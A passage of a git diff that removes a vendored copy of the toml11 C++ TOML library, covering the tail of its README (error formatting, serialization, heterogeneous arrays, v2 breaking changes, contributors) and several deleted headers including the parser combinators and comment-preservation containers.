| ~~ minimum number here - ... - 4 | max = 42 - | ~~ maximum number here -``` - -You can print hints at the end of the message. - -```cpp -std::vector hints; -hints.push_back("positive number means n >= 0."); -hints.push_back("negative number is not positive."); -std::cerr << toml::format_error("[error] value should be positive", - data.at("num"), "positive number required", hints) - << std::endl; -``` - -```console -[error] value should be positive - --> example.toml - 2 | num = 42 - | ~~ positive number required - | -Hint: positive number means n >= 0. -Hint: negative number is not positive. -``` - -## Obtaining location information - -You can also format error messages in your own way by using `source_location`. - -```cpp -struct source_location -{ - std::uint_least32_t line() const noexcept; - std::uint_least32_t column() const noexcept; - std::uint_least32_t region() const noexcept; - std::string const& file_name() const noexcept; - std::string const& line_str() const noexcept; -}; -// +-- line() +--- length of the region (here, region() == 9) -// v .---+---. -// 12 | value = "foo bar" <- line_str() returns the line itself. -// ^-------- column() points here -``` - -You can get this by -```cpp -const toml::value v = /*...*/; -const toml::source_location loc = v.location(); -``` - -## Exceptions - -The following `exception` classes inherits `toml::exception` that inherits -`std::exception`. - -```cpp -namespace toml { -struct exception : public std::exception {/**/}; -struct syntax_error : public toml::exception {/**/}; -struct type_error : public toml::exception {/**/}; -struct internal_error : public toml::exception {/**/}; -} // toml -``` - -`toml::exception` has `toml::exception::location()` member function that returns -`toml::source_location`, in addition to `what()`. - -```cpp -namespace toml { -struct exception : public std::exception -{ - // ... - source_location const& location() const noexcept; -}; -} // toml -``` - -It represents where the error occurs. - -`syntax_error` will be thrown from `toml::parse` and `_toml` literal. -`type_error` will be thrown from `toml::get/find`, `toml::value::as_xxx()`, and -other functions that takes a content inside of `toml::value`. - -Note that, currently, from `toml::value::at()` and `toml::find(value, key)` -may throw an `std::out_of_range` that does not inherits `toml::exception`. - -Also, in some cases, most likely in the file open error, it will throw an -`std::runtime_error`. - -## Colorize Error Messages - -By defining `TOML11_COLORIZE_ERROR_MESSAGE`, the error messages from -`toml::parse` and `toml::find|get` will be colorized. By default, this feature -is turned off. - -With the following toml file taken from `toml-lang/toml/tests/hard_example.toml`, - -```toml -[error] -array = [ - "This might most likely happen in multiline arrays", - Like here, - "or here, - and here" - ] End of array comment, forgot the # -``` - -the error message would be like this. - -![error-message-1](https://github.com/ToruNiina/toml11/blob/misc/misc/toml11-err-msg-1.png) - -With the following, - -```toml -[error] -# array = [ -# "This might most likely happen in multiline arrays", -# Like here, -# "or here, -# and here" -# ] End of array comment, forgot the # -number = 3.14 pi <--again forgot the # -``` - -the error message would be like this. - -![error-message-2](https://github.com/ToruNiina/toml11/blob/misc/misc/toml11-err-msg-2.png) - -The message would be messy when it is written to a file, not a terminal because -it uses [ANSI escape code](https://en.wikipedia.org/wiki/ANSI_escape_code). - -Without `TOML11_COLORIZE_ERROR_MESSAGE`, you can still colorize user-defined -error message by passing `true` to the `toml::format_error` function. -If you define `TOML11_COLORIZE_ERROR_MESSAGE`, the value is `true` by default. -If not, the default value would be `false`. - -```cpp -std::cerr << toml::format_error("[error] value should be positive", - data.at("num"), "positive number required", - hints, /*colorize = */ true) << std::endl; -``` - -Note: It colorize `[error]` in red. That means that it detects `[error]` prefix -at the front of the error message. If there is no `[error]` prefix, -`format_error` adds it to the error message. - -## Serializing TOML data - -toml11 enables you to serialize data into toml format. - -```cpp -const toml::value data{{"foo", 42}, {"bar", "baz"}}; -std::cout << data << std::endl; -// bar = "baz" -// foo = 42 -``` - -toml11 automatically makes a small table and small array inline. -You can specify the width to make them inline by `std::setw` for streams. - -```cpp -const toml::value data{ - {"qux", {{"foo", 42}, {"bar", "baz"}}}, - {"quux", {"small", "array", "of", "strings"}}, - {"foobar", {"this", "array", "of", "strings", "is", "too", "long", - "to", "print", "into", "single", "line", "isn't", "it?"}}, -}; - -// the threshold becomes 80. -std::cout << std::setw(80) << data << std::endl; -// foobar = [ -// "this","array","of","strings","is","too","long","to","print","into", -// "single","line","isn't","it?", -// ] -// quux = ["small","array","of","strings"] -// qux = {bar="baz",foo=42} - - -// the width is 0. nothing become inline. -std::cout << std::setw(0) << data << std::endl; -// foobar = [ -// "this", -// ... (snip) -// "it?", -// ] -// quux = [ -// "small", -// "array", -// "of", -// "strings", -// ] -// [qux] -// bar = "baz" -// foo = 42 -``` - -It is recommended to set width before printing data. Some I/O functions changes -width to 0, and it makes all the stuff (including `toml::array`) multiline. -The resulting files becomes too long. - -To control the precision of floating point numbers, you need to pass -`std::setprecision` to stream. - -```cpp -const toml::value data{ - {"pi", 3.141592653589793}, - {"e", 2.718281828459045} -}; -std::cout << std::setprecision(17) << data << std::endl; -// e = 2.7182818284590451 -// pi = 3.1415926535897931 -std::cout << std::setprecision( 7) << data << std::endl; -// e = 2.718282 -// pi = 3.141593 -``` - -There is another way to format toml values, `toml::format()`. -It returns `std::string` that represents a value. - -```cpp -const toml::value v{{"a", 42}}; -const std::string fmt = toml::format(v); -// a = 42 -``` - -Note that since `toml::format` formats a value, the resulting string may lack -the key value. - -```cpp -const toml::value v{3.14}; -const std::string fmt = toml::format(v); -// 3.14 -``` - -To control the width and precision, `toml::format` receives optional second and -third arguments to set them. By default, the width is 80 and the precision is -`std::numeric_limits::max_digit10`. - -```cpp -const auto serial = toml::format(data, /*width = */ 0, /*prec = */ 17); -``` - -When you pass a comment-preserving-value, the comment will also be serialized. -An array or a table containing a value that has a comment would not be inlined. - -## Underlying types - -The toml types (can be used as `toml::*` in this library) and corresponding `enum` names are listed in the table below. - -| TOML type | underlying c++ type | enum class | -| -------------- | ---------------------------------- | -------------------------------- | -| Boolean | `bool` | `toml::value_t::boolean` | -| Integer | `std::int64_t` | `toml::value_t::integer` | -| Float | `double` | `toml::value_t::floating` | -| String | `toml::string` | `toml::value_t::string` | -| LocalDate | `toml::local_date` | `toml::value_t::local_date` | -| LocalTime | `toml::local_time` | `toml::value_t::local_time` | -| LocalDatetime | `toml::local_datetime` | `toml::value_t::local_datetime` | -| OffsetDatetime | `toml::offset_datetime` | `toml::value_t::offset_datetime` | -| Array | `array-like` | `toml::value_t::array` | -| Table | `map-like` | `toml::value_t::table` | - -`array-like` and `map-like` are the STL containers that works like a `std::vector` and -`std::unordered_map`, respectively. By default, `std::vector` and `std::unordered_map` -are used. See [Customizing containers](#customizing-containers) for detail. - -`toml::string` is effectively the same as `std::string` but has an additional -flag that represents a kind of a string, `string_t::basic` and `string_t::literal`. -Although `std::string` is not an exact toml type, still you can get a reference -that points to internal `std::string` by using `toml::get()` for convenience. -The most important difference between `std::string` and `toml::string` is that -`toml::string` will be formatted as a TOML string when outputted with `ostream`. -This feature is introduced to make it easy to write a custom serializer. - -`Datetime` variants are `struct` that are defined in this library. -Because `std::chrono::system_clock::time_point` is a __time point__, -not capable of representing a Local Time independent from a specific day. - -## Unreleased TOML features - -Since TOML v1.0.0-rc.1 has been released, those features are now activated by -default. We no longer need to define `TOML11_USE_UNRELEASED_FEATURES`. - -- Leading zeroes in exponent parts of floats are permitted. - - e.g. `1.0e+01`, `5e+05` - - [toml-lang/toml/PR/656](https://github.com/toml-lang/toml/pull/656) -- Allow raw tab characters in basic strings and multi-line basic strings. - - [toml-lang/toml/PR/627](https://github.com/toml-lang/toml/pull/627) -- Allow heterogeneous arrays - - [toml-lang/toml/PR/676](https://github.com/toml-lang/toml/pull/676) - -## Note about heterogeneous arrays - -Although `toml::parse` allows heterogeneous arrays, constructor of `toml::value` -does not. Here the reason is explained. - -```cpp -// this won't be compiled -toml::value v{ - "foo", 3.14, 42, {1,2,3,4,5}, {{"key", "value"}} -} -``` - -There is a workaround for this. By explicitly converting values into -`toml::value`, you can initialize `toml::value` with a heterogeneous array. -Also, you can first initialize a `toml::value` with an array and then -`push_back` into it. - -```cpp -// OK! -toml::value v{ - toml::value("foo"), toml::value(3.14), toml::value(42), - toml::value{1,2,3,4,5}, toml::value{{"key", "value"}} -} - -// OK! -toml::value v(toml::array{}); -v.push_back("foo"); -v.push_back(3.14); - -// OK! -toml::array a; -a.push_back("foo"); -a.push_back(3.14); -toml::value v(std::move(a)); -``` - -The reason why the first example is not allowed is the following. -Let's assume that you are initializing a `toml::value` with a table. - -```cpp - // # expecting TOML table. -toml::value v{ // [v] - {"answer", 42}, // answer = 42 - {"pi", 3.14}, // pi = 3.14 - {"foo", "bar"} // foo = "bar" -}; -``` - -This is indistinguishable from a (heterogeneous) TOML array definition. - -```toml -v = [ - ["answer", 42], - ["pi", 3.14], - ["foo", "bar"], -] -``` - -This means that the above C++ code makes constructor's overload resolution -ambiguous. So a constructor that allows both "table as an initializer-list" and -"heterogeneous array as an initializer-list" cannot be implemented. - -Thus, although it is painful, we need to explicitly cast values into -`toml::value` when you initialize heterogeneous array in a C++ code. - -```cpp -toml::value v{ - toml::value("foo"), toml::value(3.14), toml::value(42), - toml::value{1,2,3,4,5}, toml::value{{"key", "value"}} -}; -``` - -## Breaking Changes from v2 - -Although toml11 is relatively new library (it's three years old now), it had -some confusing and inconvenient user-interfaces because of historical reasons. - -Between v2 and v3, those interfaces are rearranged. - -- `toml::parse` now returns a `toml::value`, not `toml::table`. -- `toml::value` is now an alias of `toml::basic_value`. - - See [Customizing containers](#customizing-containers) for detail. -- The elements of `toml::value_t` are renamed as `snake_case`. - - See [Underlying types](#underlying-types) for detail. -- Supports for the CamelCaseNames are dropped. - - See [Underlying types](#underlying-types) for detail. -- `(is|as)_float` has been removed to make the function names consistent with others. - - Since `float` is a keyword, toml11 named a float type as `toml::floating`. - - Also a `value_t` corresponds to `toml::floating` is named `value_t::floating`. - - So `(is|as)_floating` is introduced and `is_float` has been removed. - - See [Casting a toml::value](#casting-a-tomlvalue) and [Checking value type](#checking-value-type) for detail. -- An overload of `toml::find` for `toml::table` has been dropped. Use `toml::value` version instead. - - Because type conversion between a table and a value causes ambiguity while overload resolution - - Since `toml::parse` now returns a `toml::value`, this feature becomes less important. - - Also because `toml::table` is a normal STL container, implementing utility function is easy. - - See [Finding a toml::value](#finding-a-toml-value) for detail. -- An overload of `operator<<` and `toml::format` for `toml::table`s are dropped. - - Use `toml::value` instead. - - See [Serializing TOML data](#serializing-toml-data) for detail. -- Interface around comments. - - See [Preserving Comments](#preserving-comments) for detail. -- An ancient `from_toml/into_toml` has been removed. Use arbitrary type conversion support. - - See [Conversion between toml value and arbitrary types](#conversion-between-toml-value-and-arbitrary-types) for detail. - -Such a big change will not happen in the coming years. - -## Running Tests - -After cloning this repository, run the following command (thank you @jwillikers -for automating test set fetching!). - -```sh -$ mkdir build -$ cd build -$ cmake .. -Dtoml11_BUILD_TEST=ON -$ make -$ make test -``` - -To run the language agnostic test suite, you need to compile -`tests/check_toml_test.cpp` and pass it to the tester. - -## Contributors - -I appreciate the help of the contributors who introduced the great feature to this library. - -- Guillaume Fraux (@Luthaf) - - Windows support and CI on Appvayor - - Intel Compiler support -- Quentin Khan (@xaxousis) - - Found & Fixed a bug around ODR - - Improved error messages for invalid keys to show the location where the parser fails -- Petr Beneš (@wbenny) - - Fixed warnings on MSVC -- Ivan Shynkarenka (@chronoxor) - - Fixed Visual Studio 2019 warnings -- @khoitd1997 - - Fixed warnings while type conversion -- @KerstinKeller - - Added installation script to CMake -- J.C. Moyer (@jcmoyer) - - Fixed an example code in the documentation -- Jt Freeman (@blockparty-sh) - - Fixed feature test macro around `localtime_s` - - Suppress warnings in Debug mode -- OGAWA Kenichi (@kenichiice) - - Suppress warnings on intel compiler -- Jordan Williams (@jwillikers) - - Fixed clang range-loop-analysis warnings - - Fixed feature test macro to suppress -Wundef - - Use cache variables in CMakeLists.txt - - Automate test set fetching, update and refactor CMakeLists.txt -- Scott McCaskill - - Parse 9 digits (nanoseconds) of fractional seconds in a `local_time` -- Shu Wang (@halfelf) - - fix "Finding a value in an array" example in README -- @maass-tv and @SeverinLeonhardt - - Fix MSVC warning C4866 -- OGAWA KenIchi (@kenichiice) - - Fix include path in README -- Mohammed Alyousef (@MoAlyousef) - - Made testing optional in CMake -- Ivan Shynkarenka (@chronoxor) - - Fix compilation error in `` with MinGW -- Alex Merry (@amerry) - - Add missing include files -- sneakypete81 (@sneakypete81) - - Fix typo in error message -- Oliver Kahrmann (@founderio) - - Fix missing filename in error message if parsed file is empty -- Karl Nilsson (@karl-nilsson) - - Fix many spelling errors -- ohdarling88 (@ohdarling) - - Fix a bug in a constructor of serializer -- estshorter (@estshorter) - - Fix MSVC warning C26478 -- Philip Top (@phlptp) - - Improve checking standard library feature availability check -- Louis Marascio (@marascio) - - Fix free-nonheap-object warning - - -## Licensing terms - -This product is licensed under the terms of the [MIT License](LICENSE). - -- Copyright (c) 2017-2021 Toru Niina - -All rights reserved. diff --git a/src/toml11/toml.hpp b/src/toml11/toml.hpp deleted file mode 100644 index f34cfccca..000000000 --- a/src/toml11/toml.hpp +++ /dev/null @@ -1,46 +0,0 @@ -/* - * The MIT License (MIT) - * - * Copyright (c) 2017 Toru Niina - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ - -#ifndef TOML_FOR_MODERN_CPP -#define TOML_FOR_MODERN_CPP - -#ifndef __cplusplus -# error "__cplusplus is not defined" -#endif - -#if __cplusplus < 201103L && _MSC_VER < 1900 -# error "toml11 requires C++11 or later." -#endif - -#define TOML11_VERSION_MAJOR 3 -#define TOML11_VERSION_MINOR 7 -#define TOML11_VERSION_PATCH 0 - -#include "toml/parser.hpp" -#include "toml/literal.hpp" -#include "toml/serializer.hpp" -#include "toml/get.hpp" -#include "toml/macros.hpp" - -#endif// TOML_FOR_MODERN_CPP diff --git a/src/toml11/toml/color.hpp b/src/toml11/toml/color.hpp deleted file mode 100644 index 4cb572cb0..000000000 --- a/src/toml11/toml/color.hpp +++ /dev/null @@ -1,64 +0,0 @@ -#ifndef TOML11_COLOR_HPP -#define TOML11_COLOR_HPP -#include -#include - -#ifdef TOML11_COLORIZE_ERROR_MESSAGE -#define TOML11_ERROR_MESSAGE_COLORIZED true -#else -#define TOML11_ERROR_MESSAGE_COLORIZED false -#endif - -namespace toml -{ - -// put ANSI escape sequence to ostream -namespace color_ansi -{ -namespace detail -{ -inline int colorize_index() -{ - static const int index = std::ios_base::xalloc(); - return index; -} -} // detail - -inline std::ostream& colorize(std::ostream& os) -{ - // by default, it is zero. - os.iword(detail::colorize_index()) = 1; - return os; -} -inline std::ostream& nocolorize(std::ostream& os) -{ - os.iword(detail::colorize_index()) = 0; - return os; -} -inline std::ostream& reset (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[00m";} return os;} -inline std::ostream& bold (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[01m";} return os;} -inline std::ostream& grey (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[30m";} return os;} -inline std::ostream& red (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[31m";} return os;} -inline std::ostream& green (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[32m";} return os;} -inline std::ostream& yellow (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[33m";} return os;} -inline std::ostream& blue (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[34m";} return os;} -inline std::ostream& magenta(std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[35m";} return os;} -inline std::ostream& cyan (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[36m";} return os;} -inline std::ostream& white (std::ostream& os) -{if(os.iword(detail::colorize_index()) == 1) {os << "\033[37m";} return os;} -} // color_ansi - -// ANSI escape sequence is the only and default colorization method currently -namespace color = color_ansi; - -} // toml -#endif// TOML11_COLOR_HPP diff --git a/src/toml11/toml/combinator.hpp b/src/toml11/toml/combinator.hpp deleted file mode 100644 index 33ecca1eb..000000000 --- a/src/toml11/toml/combinator.hpp +++ /dev/null @@ -1,306 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_COMBINATOR_HPP -#define TOML11_COMBINATOR_HPP -#include -#include -#include - -#include -#include -#include -#include -#include - -#include "region.hpp" -#include "result.hpp" -#include "traits.hpp" -#include "utility.hpp" - -// they scans characters and returns region if it matches to the condition. -// when they fail, it does not change the location. -// in lexer.hpp, these are used. - -namespace toml -{ -namespace detail -{ - -// to output character as an error message. -inline std::string show_char(const char c) -{ - // It suppresses an error that occurs only in Debug mode of MSVC++ on Windows. - // I'm not completely sure but they check the value of char to be in the - // range [0, 256) and some of the COMPLETELY VALID utf-8 character sometimes - // has negative value (if char has sign). So here it re-interprets c as - // unsigned char through pointer. In general, converting pointer to a - // pointer that has different type cause UB, but `(signed|unsigned)?char` - // are one of the exceptions. Converting pointer only to char and std::byte - // (c++17) are valid. - if(std::isgraph(*reinterpret_cast(std::addressof(c)))) - { - return std::string(1, c); - } - else - { - std::array buf; - buf.fill('\0'); - const auto r = std::snprintf( - buf.data(), buf.size(), "0x%02x", static_cast(c) & 0xFF); - (void) r; // Unused variable warning - assert(r == static_cast(buf.size()) - 1); - return std::string(buf.data()); - } -} - -template -struct character -{ - static constexpr char target = C; - - static result - invoke(location& loc) - { - if(loc.iter() == loc.end()) {return none();} - const auto first = loc.iter(); - - const char c = *(loc.iter()); - if(c != target) - { - return none(); - } - loc.advance(); // update location - - return ok(region(loc, first, loc.iter())); - } -}; -template -constexpr char character::target; - -// closed interval [Low, Up]. both Low and Up are included. -template -struct in_range -{ - // assuming ascii part of UTF-8... - static_assert(Low <= Up, "lower bound should be less than upper bound."); - - static constexpr char upper = Up; - static constexpr char lower = Low; - - static result - invoke(location& loc) - { - if(loc.iter() == loc.end()) {return none();} - const auto first = loc.iter(); - - const char c = *(loc.iter()); - if(c < lower || upper < c) - { - return none(); - } - - loc.advance(); - return ok(region(loc, first, loc.iter())); - } -}; -template constexpr char in_range::upper; -template constexpr char in_range::lower; - -// keep iterator if `Combinator` matches. otherwise, increment `iter` by 1 char. -// for detecting invalid characters, like control sequences in toml string. -template -struct exclude -{ - static result - invoke(location& loc) - { - if(loc.iter() == loc.end()) {return none();} - auto first = loc.iter(); - - auto rslt = Combinator::invoke(loc); - if(rslt.is_ok()) - { - loc.reset(first); - return none(); - } - loc.reset(std::next(first)); // XXX maybe loc.advance() is okay but... - return ok(region(loc, first, loc.iter())); - } -}; - -// increment `iter`, if matches. otherwise, just return empty string. -template -struct maybe -{ - static result - invoke(location& loc) - { - const auto rslt = Combinator::invoke(loc); - if(rslt.is_ok()) - { - return rslt; - } - return ok(region(loc)); - } -}; - -template -struct sequence; - -template -struct sequence -{ - static result - invoke(location& loc) - { - const auto first = loc.iter(); - auto rslt = Head::invoke(loc); - if(rslt.is_err()) - { - loc.reset(first); - return none(); - } - return sequence::invoke(loc, std::move(rslt.unwrap()), first); - } - - // called from the above function only, recursively. - template - static result - invoke(location& loc, region reg, Iterator first) - { - const auto rslt = Head::invoke(loc); - if(rslt.is_err()) - { - loc.reset(first); - return none(); - } - reg += rslt.unwrap(); // concat regions - return sequence::invoke(loc, std::move(reg), first); - } -}; - -template -struct sequence -{ - // would be called from sequence::invoke only. - template - static result - invoke(location& loc, region reg, Iterator first) - { - const auto rslt = Head::invoke(loc); - if(rslt.is_err()) - { - loc.reset(first); - return none(); - } - reg += rslt.unwrap(); // concat regions - return ok(reg); - } -}; - -template -struct either; - -template -struct either -{ - static result - invoke(location& loc) - { - const auto rslt = Head::invoke(loc); - if(rslt.is_ok()) {return rslt;} - return either::invoke(loc); - } -}; -template -struct either -{ - static result - invoke(location& loc) - { - return Head::invoke(loc); - } -}; - -template -struct repeat; - -template struct exactly{}; -template struct at_least{}; -struct unlimited{}; - -template -struct repeat> -{ - static result - invoke(location& loc) - { - region retval(loc); - const auto first = loc.iter(); - for(std::size_t i=0; i -struct repeat> -{ - static result - invoke(location& loc) - { - region retval(loc); - - const auto first = loc.iter(); - for(std::size_t i=0; i -struct repeat -{ - static result - invoke(location& loc) - { - region retval(loc); - while(true) - { - auto rslt = T::invoke(loc); - if(rslt.is_err()) - { - return ok(std::move(retval)); - } - retval += rslt.unwrap(); - } - } -}; - -} // detail -} // toml -#endif// TOML11_COMBINATOR_HPP diff --git a/src/toml11/toml/comments.hpp b/src/toml11/toml/comments.hpp deleted file mode 100644 index ec2504117..000000000 --- a/src/toml11/toml/comments.hpp +++ /dev/null @@ -1,472 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_COMMENTS_HPP -#define TOML11_COMMENTS_HPP -#include -#include -#include -#include -#include -#include -#include - -#ifdef TOML11_PRESERVE_COMMENTS_BY_DEFAULT -# define TOML11_DEFAULT_COMMENT_STRATEGY ::toml::preserve_comments -#else -# define TOML11_DEFAULT_COMMENT_STRATEGY ::toml::discard_comments -#endif - -// This file provides mainly two classes, `preserve_comments` and `discard_comments`. -// Those two are a container that have the same interface as `std::vector` -// but bahaves in the opposite way. `preserve_comments` is just the same as -// `std::vector` and each `std::string` corresponds to a comment line. -// Conversely, `discard_comments` discards all the strings and ignores everything -// assigned in it. `discard_comments` is always empty and you will encounter an -// error whenever you access to the element. -namespace toml -{ -struct discard_comments; // forward decl - -// use it in the following way -// -// const toml::basic_value data = -// toml::parse("example.toml"); -// -// the interface is almost the same as std::vector. -struct preserve_comments -{ - // `container_type` is not provided in discard_comments. - // do not use this inner-type in a generic code. - using container_type = std::vector; - - using size_type = container_type::size_type; - using difference_type = container_type::difference_type; - using value_type = container_type::value_type; - using reference = container_type::reference; - using const_reference = container_type::const_reference; - using pointer = container_type::pointer; - using const_pointer = container_type::const_pointer; - using iterator = container_type::iterator; - using const_iterator = container_type::const_iterator; - using reverse_iterator = container_type::reverse_iterator; - using const_reverse_iterator = container_type::const_reverse_iterator; - - preserve_comments() = default; - ~preserve_comments() = default; - preserve_comments(preserve_comments const&) = default; - preserve_comments(preserve_comments &&) = default; - preserve_comments& operator=(preserve_comments const&) = default; - preserve_comments& operator=(preserve_comments &&) = default; - - explicit preserve_comments(const std::vector& c): comments(c){} - explicit preserve_comments(std::vector&& c) - : comments(std::move(c)) - {} - preserve_comments& operator=(const std::vector& c) - { - comments = c; - return *this; - } - preserve_comments& operator=(std::vector&& c) - { - comments = std::move(c); - return *this; - } - - explicit preserve_comments(const discard_comments&) {} - - explicit preserve_comments(size_type n): comments(n) {} - preserve_comments(size_type n, const std::string& x): comments(n, x) {} - preserve_comments(std::initializer_list x): comments(x) {} - template - preserve_comments(InputIterator first, InputIterator last) - : comments(first, last) - {} - - template - void assign(InputIterator first, InputIterator last) {comments.assign(first, last);} - void assign(std::initializer_list ini) {comments.assign(ini);} - void assign(size_type n, const std::string& val) {comments.assign(n, val);} - - // Related to the issue #97. - // - // It is known that `std::vector::insert` and `std::vector::erase` in - // the standard library implementation included in GCC 4.8.5 takes - // `std::vector::iterator` instead of `std::vector::const_iterator`. - // Because of the const-correctness, we cannot convert a `const_iterator` to - // an `iterator`. It causes compilation error in GCC 4.8.5. -#if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) && !defined(__clang__) -# if (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) <= 40805 -# define TOML11_WORKAROUND_GCC_4_8_X_STANDARD_LIBRARY_IMPLEMENTATION -# endif -#endif - -#ifdef TOML11_WORKAROUND_GCC_4_8_X_STANDARD_LIBRARY_IMPLEMENTATION - iterator insert(iterator p, const std::string& x) - { - return comments.insert(p, x); - } - iterator insert(iterator p, std::string&& x) - { - return comments.insert(p, std::move(x)); - } - void insert(iterator p, size_type n, const std::string& x) - { - return comments.insert(p, n, x); - } - template - void insert(iterator p, InputIterator first, InputIterator last) - { - return comments.insert(p, first, last); - } - void insert(iterator p, std::initializer_list ini) - { - return comments.insert(p, ini); - } - - template - iterator emplace(iterator p, Ts&& ... args) - { - return comments.emplace(p, std::forward(args)...); - } - - iterator erase(iterator pos) {return comments.erase(pos);} - iterator erase(iterator first, iterator last) - { - return comments.erase(first, last); - } -#else - iterator insert(const_iterator p, const std::string& x) - { - return comments.insert(p, x); - } - iterator insert(const_iterator p, std::string&& x) - { - return comments.insert(p, std::move(x)); - } - iterator insert(const_iterator p, size_type n, const std::string& x) - { - return comments.insert(p, n, x); - } - template - iterator insert(const_iterator p, InputIterator first, InputIterator last) - { - return comments.insert(p, first, last); - } - iterator insert(const_iterator p, std::initializer_list ini) - { - return comments.insert(p, ini); - } - - template - iterator emplace(const_iterator p, Ts&& ... args) - { - return comments.emplace(p, std::forward(args)...); - } - - iterator erase(const_iterator pos) {return comments.erase(pos);} - iterator erase(const_iterator first, const_iterator last) - { - return comments.erase(first, last); - } -#endif - - void swap(preserve_comments& other) {comments.swap(other.comments);} - - void push_back(const std::string& v) {comments.push_back(v);} - void push_back(std::string&& v) {comments.push_back(std::move(v));} - void pop_back() {comments.pop_back();} - - template - void emplace_back(Ts&& ... args) {comments.emplace_back(std::forward(args)...);} - - void clear() {comments.clear();} - - size_type size() const noexcept {return comments.size();} - size_type max_size() const noexcept {return comments.max_size();} - size_type capacity() const noexcept {return comments.capacity();} - bool empty() const noexcept {return comments.empty();} - - void reserve(size_type n) {comments.reserve(n);} - void resize(size_type n) {comments.resize(n);} - void resize(size_type n, const std::string& c) {comments.resize(n, c);} - void shrink_to_fit() {comments.shrink_to_fit();} - - reference operator[](const size_type n) noexcept {return comments[n];} - const_reference operator[](const size_type n) const noexcept {return comments[n];} - reference at(const size_type n) {return comments.at(n);} - const_reference at(const size_type n) const {return comments.at(n);} - reference front() noexcept {return comments.front();} - const_reference front() const noexcept {return comments.front();} - reference back() noexcept {return comments.back();} - const_reference back() const noexcept {return comments.back();} - - pointer data() noexcept {return comments.data();} - const_pointer data() const noexcept {return comments.data();} - - iterator begin() noexcept {return comments.begin();} - iterator end() noexcept {return comments.end();} - const_iterator begin() const noexcept {return comments.begin();} - const_iterator end() const noexcept {return comments.end();} - const_iterator cbegin() const noexcept {return comments.cbegin();} - const_iterator cend() const noexcept {return comments.cend();} - - reverse_iterator rbegin() noexcept {return comments.rbegin();} - reverse_iterator rend() noexcept {return comments.rend();} - const_reverse_iterator rbegin() const noexcept {return comments.rbegin();} - const_reverse_iterator rend() const noexcept {return comments.rend();} - const_reverse_iterator crbegin() const noexcept {return comments.crbegin();} - const_reverse_iterator crend() const noexcept {return comments.crend();} - - friend bool operator==(const preserve_comments&, const preserve_comments&); - friend bool operator!=(const preserve_comments&, const preserve_comments&); - friend bool operator< (const preserve_comments&, const preserve_comments&); - friend bool operator<=(const preserve_comments&, const preserve_comments&); - friend bool operator> (const preserve_comments&, const preserve_comments&); - friend bool operator>=(const preserve_comments&, const preserve_comments&); - - friend void swap(preserve_comments&, std::vector&); - friend void swap(std::vector&, preserve_comments&); - - private: - - container_type comments; -}; - -inline bool operator==(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments == rhs.comments;} -inline bool operator!=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments != rhs.comments;} -inline bool operator< (const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments < rhs.comments;} -inline bool operator<=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments <= rhs.comments;} -inline bool operator> (const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments > rhs.comments;} -inline bool operator>=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments >= rhs.comments;} - -inline void swap(preserve_comments& lhs, preserve_comments& rhs) -{ - lhs.swap(rhs); - return; -} -inline void swap(preserve_comments& lhs, std::vector& rhs) -{ - lhs.comments.swap(rhs); - return; -} -inline void swap(std::vector& lhs, preserve_comments& rhs) -{ - lhs.swap(rhs.comments); - return; -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const preserve_comments& com) -{ - for(const auto& c : com) - { - os << '#' << c << '\n'; - } - return os; -} - -namespace detail -{ - -// To provide the same interface with `preserve_comments`, `discard_comments` -// should have an iterator. But it does not contain anything, so we need to -// add an iterator that points nothing. -// -// It always points null, so DO NOT unwrap this iterator. It always crashes -// your program. -template -struct empty_iterator -{ - using value_type = T; - using reference_type = typename std::conditional::type; - using pointer_type = typename std::conditional::type; - using difference_type = std::ptrdiff_t; - using iterator_category = std::random_access_iterator_tag; - - empty_iterator() = default; - ~empty_iterator() = default; - empty_iterator(empty_iterator const&) = default; - empty_iterator(empty_iterator &&) = default; - empty_iterator& operator=(empty_iterator const&) = default; - empty_iterator& operator=(empty_iterator &&) = default; - - // DO NOT call these operators. - reference_type operator*() const noexcept {std::terminate();} - pointer_type operator->() const noexcept {return nullptr;} - reference_type operator[](difference_type) const noexcept {return this->operator*();} - - // These operators do nothing. - empty_iterator& operator++() noexcept {return *this;} - empty_iterator operator++(int) noexcept {return *this;} - empty_iterator& operator--() noexcept {return *this;} - empty_iterator operator--(int) noexcept {return *this;} - - empty_iterator& operator+=(difference_type) 